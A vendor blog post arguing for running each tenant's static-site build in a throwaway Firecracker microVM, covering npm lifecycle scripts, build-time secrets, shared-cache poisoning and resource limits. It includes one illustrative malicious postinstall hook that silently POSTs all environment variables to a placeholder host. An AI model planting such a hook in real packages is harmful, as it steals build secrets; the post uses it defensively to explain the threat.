Per-Tenant Static Site Builds in microVMs

Every Netlify/Vercel-style platform ends up in the same place: a customer connects a Git repo, you run their build, and you serve the output. The marketing copy calls it "build and deploy." What it actually is: you accept an arbitrary repository from an arbitrary person on the internet, install an arbitrary dependency tree resolved at build time from registries you do not control, execute arbitrary lifecycle hooks as part of that install, then run an arbitrary build command with your platform's environment variables in scope. Your build fleet is a public code-execution API with extra YAML.

I'm Ajay — I built PandaStack, which runs customer builds in Firecracker microVMs — so I have a bias and I'll be upfront about it. But the argument here isn't really about my product. It's about a category error I see repeatedly: platforms treat "static site build" as a data-transformation step (markdown in, HTML out) when it is in fact a code-execution step that happens to emit HTML. Next, Astro, Hugo, Jekyll, Eleventy — the framework barely matters. What matters is that between `git clone` and `dist/` there is a window where someone else's code runs on your machine.

What a "static site build" actually is

The word "static" does a lot of dishonest work here. The output is static. The process that produces it is not. A modern static build is, in rough order: resolve a dependency graph across hundreds or thousands of packages, download and unpack them, run each package's install lifecycle scripts, then invoke a build command that itself loads config files, plugins, and loaders — all of which are ordinary code with ordinary access to the process, the filesystem, the network, and the environment.

Jekyll pulls Ruby gems with native extensions that compile at install time. A Gatsby or Next build runs `next.config.js`, which is JavaScript that executes before a single page is rendered. Astro integrations and Eleventy config are code. Even Hugo, the famously batteries-included Go binary, will happily run whatever npm-driven asset pipeline the customer bolted onto it. There is no framework where the correct mental model is "a template engine ran." The correct model is: a program the customer chose, with dependencies the customer's dependencies chose, ran to completion on your hardware.

The `postinstall` problem: code execution before your build even starts

npm, pnpm, and yarn all support install lifecycle scripts. `preinstall`, `install`, and `postinstall` run automatically as part of dependency installation, with the shell, the filesystem, and the network available. That's not a bug — native modules genuinely need to compile, and tools like Playwright genuinely need to fetch browsers. But it means the moment your builder runs `npm install`, it has agreed to execute code from every package in the tree that declares a hook.

The tree is the important part. A customer's `package.json` might list twelve direct dependencies. The resolved tree is a few hundred to a couple thousand packages, most of which the customer has never heard of, any of which can add a lifecycle script in a patch release. This is the mechanism behind essentially every npm supply-chain incident of the last several years: not a compromise of the package the developer chose, but of something six levels down that gained a `postinstall` one Tuesday.

{
  "name": "totally-normal-color-helper",
  "version": "2.4.1",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

// scripts/setup.js -- runs automatically during `npm install`,
// as your build user, with your build environment in scope:
//
//   const env = JSON.stringify(process.env);
//   fetch("https://telemetry.example.invalid/i", {
//     method: "POST", body: env
//   }).catch(() => {});      // fails silently, build stays green
//
// Note what it does NOT do: crash, log, or slow anything down.
// The build succeeds. The site deploys. The customer is delighted.

That is the whole attack. No exploit, no CVE, no clever escape — just a documented package-manager feature used exactly as designed. The build goes green, the site deploys, and the only artifact of the incident is an outbound HTTPS request that looks like every other outbound HTTPS request a build makes. If you're wondering what to do about lifecycle scripts specifically, I went deeper in /blog/sandbox-untrusted-npm-install.

You can disable lifecycle scripts (`--ignore-scripts`, pnpm's default-deny with an allowlist), and you should offer that. But you can't make it the platform default without breaking a large fraction of real repos, and "customer opted in to running scripts" is not a security boundary — it's a support-ticket deflection.

Build-time environment variables: secrets in the blast radius

Here's the part that turns a code-execution problem into a data-breach problem. Static site builds need environment variables at build time — a CMS API token to fetch content, an analytics key to inline, a private registry credential, a headless-commerce key. That's the whole point of build-time env: the values are consumed while the build runs. Which means every one of those values sits in the process environment of a build that is executing arbitrary third-party code.

Runtime secrets are different — those live in a running server's environment, and the build never sees them. Build-time secrets are, by construction, exposed to the build. A `postinstall` doesn't need a filesystem escape to read them; `process.env` is right there. The distinction matters enough that I wrote a whole post on it: /blog/build-time-vs-runtime-environment-variables.

Now stack that with a shared builder. If your fleet runs multiple customers' builds on the same host — even sequentially, even in separate containers — then the question "what else is reachable from inside a build?" gets uncomfortable fast. Other tenants' env files on disk. The host's instance metadata endpoint, which on a default cloud VM will hand out credentials for the build fleet's own service account. Your internal registry. A cache mount shared with the previous tenant's build. None of that requires a hypervisor break; it requires a container escape, or often just a network route nobody closed.

The shared build cache: a cross-tenant write channel you built on purpose

Builds are slow, so every platform caches: `node_modules`, the pnpm store, `.next/cache`, Gatsby's `.cache`, the Go module cache, Ruby gems. Caching is the single biggest lever on build time, so the temptation to share one warm cache volume across builds is enormous. Resist it across tenants, because a shared writable cache is a cross-tenant write channel with a friendly name.

Consider what a hostile build can do to a cache it can write. Overwrite a cached package tarball with a modified one, so the next tenant who gets a cache hit installs the attacker's code with a perfectly valid-looking cache key. Plant a compiled binary in a cached toolchain directory. Poison a framework's incremental-build cache so the next build emits attacker-controlled HTML into someone else's site. The victim's build produces no warning, because from its perspective the cache hit was legitimate — it asked for a key and got bytes back.

The subtle version is worse than the dramatic one. Nobody notices a cache-poisoning attack that only changes one script tag in one tenant's output. Same class of problem as CI artifact caching, which I covered in /blog/microvm-ci-artifact-build-cache-isolation — the fix is the same shape: caches are per-tenant, content-addressed, and never a shared writable mount.

And then there's the boring failure: someone OOMs the builder

Not every incident is an attack. Most are just a customer with a big site. A Next build of a few thousand MDX pages, a `tsc` pass over a large monorepo, an image pipeline that decodes ten thousand JPEGs — these routinely want multiple gigabytes of RAM, and Node's default heap limits mean they'll die noisily or, worse, take the host's memory with them. I've written about the specific Node failure mode in /blog/javascript-build-out-of-memory-fix.

On a shared builder, one customer's memory-hungry build degrades everyone scheduled on that host. On a shared builder with cgroups, it degrades them less, but cgroup memory limits are a soft, shared-kernel construct: the OOM killer picks a victim by heuristic, and the victim isn't always the offender. Meanwhile a runaway build with a `while(true)` in a config file burns CPU that some other tenant is waiting on, and "build queue times are up" becomes an incident with no obvious cause.

The model that contains all of it: one microVM per build

Run each customer build inside its own Firecracker microVM: its own guest kernel, its own memory, its own throwaway root filesystem, its own network namespace, confined by hardware virtualization. Same isolation primitive AWS Lambda uses to run untrusted code from millions of strangers. Then give that VM hard limits and a short life:

• Fresh guest kernel per build — a hostile `postinstall` is not sharing a kernel with any other tenant's build. Escaping needs a hypervisor break, not a container misconfiguration or a namespace gap you forgot about.
• Throwaway rootfs — the build gets a clean filesystem, writes whatever it wants, and the disk is destroyed with the VM. No residue, no leftover credentials file, no half-written cache for the next tenant to trip over.
• Hard RAM and CPU caps — enforced by the host at the VM boundary, not by a cgroup the guest shares with neighbors. The customer whose Next build wants 6GB either fits in their tier or fails their own build. Nobody else notices.
• Wall-clock deadline — a build that hangs is killed by destroying the VM. No cooperative shutdown, no orphaned child process still holding a file lock, no zombie `esbuild` daemon.
• Scoped egress — the guest gets its own netns, so "can this build reach the metadata endpoint / your internal registry / another tenant's subnet?" is a routing decision you make once, per VM, rather than a firewall rule you hope still applies.
• Destroy after — success or failure, the VM dies at the end of the build. The security property you want from a build runner is amnesia, and a VM you throw away has it for free.

The historical objection was always cost and latency: a full VM per build sounded like a 30-second provisioning tax on a 45-second build. That's what snapshot-restore removes. On PandaStack a sandbox is created by restoring a baked snapshot on demand — p50 179ms, p99 203ms, of which the restore step itself is roughly 49ms — versus about 3 seconds for a first-time cold boot. Spinning up a dedicated, capped, disposable VM for one customer's Hugo build is a sub-200ms operation, which is noise next to `npm install`.

Doing caches properly (you can still have fast builds)

Per-build VMs and warm caches are not in conflict — you just can't take the lazy path of one shared writable mount. Three rules cover it.

1. Caches are per-tenant, full stop. A cache volume belongs to exactly one customer (often one customer + one site). Cross-tenant sharing of a mutable cache is the vulnerability; there is no version of it that's safe because you namespaced the keys.
2. Restore content-addressed, verify before use. Fetch cache entries by content hash and check the hash after download. If the bytes don't match the key, discard them and do a cold install. This turns a poisoned entry into a slow build instead of a compromised one.
3. Mount caches read-only during the build; publish the new cache after. The build reads a restored cache; whatever it produces is written to a scratch layer and uploaded as a new versioned entry at the end, from outside the guest. The running build never holds a writable handle to the durable cache.

This costs you a copy-in and copy-out per build, which on a warm path is seconds — cheap compared to a cold `npm install`, and dramatically cheaper than explaining to a customer why their site started serving someone else's JavaScript.

What a per-build runner looks like

Here's the whole loop for one customer's build: create a capped, ephemeral VM, push in the repo and the tenant's build-time env, run install and build under a hard wall-clock cap, pull the output directory back out, and destroy the VM. The tenant's dependency tree — and every `postinstall` in it — only ever touches this one guest.

from pandastack import Sandbox


def build_site(tenant_id: str, repo_tar: bytes, build_env: dict[str, str]) -> bytes:
    """Run ONE tenant's static-site build in ONE disposable microVM."""
    # Fresh guest kernel + throwaway rootfs. RAM/CPU come from the baked
    # template; ttl_seconds is the backstop if we leak the handle.
    sbx = Sandbox.create(
        template="base",
        ttl_seconds=1200,
        metadata={"tenant": tenant_id, "job": "static-build"},
    )
    try:
        # 1. Repo + build-time env go into THIS guest and nowhere else.
        sbx.filesystem.write("/build/repo.tar", repo_tar)
        envfile = "\n".join(f"export {k}={v!r}" for k, v in build_env.items())
        sbx.filesystem.write("/build/.env.sh", envfile.encode())
        sbx.exec("mkdir -p /build/src && tar -xf /build/repo.tar -C /build/src")

        # 2. Install. Every postinstall in the tree runs here -- inside a VM
        #    whose only reachable neighbours are this tenant's own files.
        install = sbx.exec(
            ". /build/.env.sh && cd /build/src && npm ci --no-audit --fund=false",
            timeout_seconds=600,
        )
        if install.exit_code != 0:
            raise RuntimeError(f"[{tenant_id}] install failed: {install.stderr[:400]}")

        # 3. Build, with a HARD wall-clock cap. An infinite loop in
        #    next.config.js burns this VM's budget and nobody else's.
        build = sbx.exec(
            ". /build/.env.sh && cd /build/src && npm run build",
            timeout_seconds=900,
        )
        if build.exit_code != 0:
            raise RuntimeError(f"[{tenant_id}] build failed: {build.stderr[:400]}")

        # 4. Pull the artifact back out of the guest.
        sbx.exec("cd /build/src && tar -czf /build/out.tgz dist")
        return sbx.filesystem.read("/build/out.tgz")
    finally:
        # 5. Amnesia. Rootfs, memory, secrets, and any process that
        #    survived the build all die with the VM.
        sbx.kill()

Note what's absent: no shared cache mount, no host credentials in the guest, no cleanup step that scrubs state (there's nothing to scrub — the disk is gone), and no cooperative timeout that a runaway process could ignore. The only thing that leaves the VM is the tarball you explicitly read.

Shared build fleet vs. per-build microVM

Two ways to run customer builds, from softest boundary to hardest. Verify the specifics of any container runtime, package manager, or cache backend against its own docs — behavior varies by version and configuration.

• Isolation boundary — Shared build container fleet: namespaces and cgroups on a kernel shared with other tenants' builds; a container escape or an unclosed network route reaches neighbors and the host. Per-build microVM: hardware-virtualized guest kernel, separate memory, disk, and netns; getting out means breaking the hypervisor.
• Hostile `postinstall` — Shared build container fleet: runs as your build user with whatever the container can see — host metadata endpoint, internal registry, mounted caches, sometimes sibling workspaces. Per-build microVM: runs inside a disposable guest whose reachable world is this tenant's own repo and whatever egress you deliberately allowed.
• Build-time secrets — Shared build container fleet: the tenant's env sits in a process on a host that also handles other tenants' builds; a leak escalates from "one site" to "the fleet." Per-build microVM: the env exists only inside one VM that is destroyed at the end of the build; there is no second tenant on that kernel to leak to.
• Cache safety — Shared build container fleet: a shared writable cache mount is the fast path, and it is also a cross-tenant write channel — poisoned entries deploy silently. Per-build microVM: per-tenant, content-addressed caches restored read-only into the guest and republished from outside it.
• Runaway resource use — Shared build container fleet: cgroup limits are soft and shared; an OOM picks a victim by heuristic and queue times spike for unrelated customers. Per-build microVM: fixed RAM/CPU enforced at the VM boundary plus a wall-clock kill; the offending build fails alone.
• Cleanup — Shared build container fleet: scrub the workspace, kill orphaned daemons, hope nothing was written outside the build dir. Per-build microVM: destroy the VM; memory, disk, and every surviving process go with it.

Does a VM per build actually pencil out?

Two mechanisms make it affordable. First, copy-on-write memory: every sandbox restores the same baked template snapshot with memory mapped MAP_PRIVATE, so identical pages — guest kernel, Node runtime, shared libraries — are shared across VMs until one writes. A hundred concurrent builds don't cost a hundred times one VM's RAM. Second, builds are short-lived by nature: the VM exists for the minutes the build runs and is reaped immediately, so you pay for builds actually running rather than for a warm fleet sized to peak.

On networking, a single PandaStack agent pre-allocates 16,384 /30 subnets, so per-VM netns isn't the ceiling — host memory and CPU are. And if you want every build to start from a warm, post-install state rather than a bare template, forking a snapshot is 400–750ms same-host (1.2–3.5s cross-host), which is a genuinely different way to think about "cache restore": instead of copying `node_modules` into a fresh VM, you fork a VM that already has it.

When a shared builder is completely fine

I don't think everyone should run VMs per build, and I'd rather say so than pretend the trade doesn't exist. If you're building your own company's sites — you wrote the repos, you review the dependency updates, and the only "tenants" are your own teams — a shared build container fleet is simpler, denser, cheaper, and the shared cache is a straightforward win. Same if you're an agency building for clients whose repos you fully control. The threat model there is supply-chain risk, which per-build VMs help with only at the margins; lockfiles, `--ignore-scripts` where feasible, and dependency review do more.

The per-build VM earns its keep at exactly one transition: the moment strangers can trigger a build. That's when your soft controls — a container boundary, a cgroup, a cache namespace, a firewall rule — stop being operational conveniences and become load-bearing security controls you'll defend forever, in a codebase where any one of them failing open is a multi-tenant incident. Also worth doing it if you have wildly uneven builds (a few enormous sites starving everyone in the queue), or if you're selling to customers who'll ask, in a security review, what stops another tenant's build from reading their CMS token. "Containers" is a worse answer than "a separate kernel per build, destroyed afterward."

The honest summary: a build is arbitrary code execution with a package manager attached and your customer's secrets in the environment. You can either keep adding fences inside a shared process and hope none of them fails open, or you can put each build in a box that gets thrown away. Sub-200ms creates are what made the second option stop being a joke.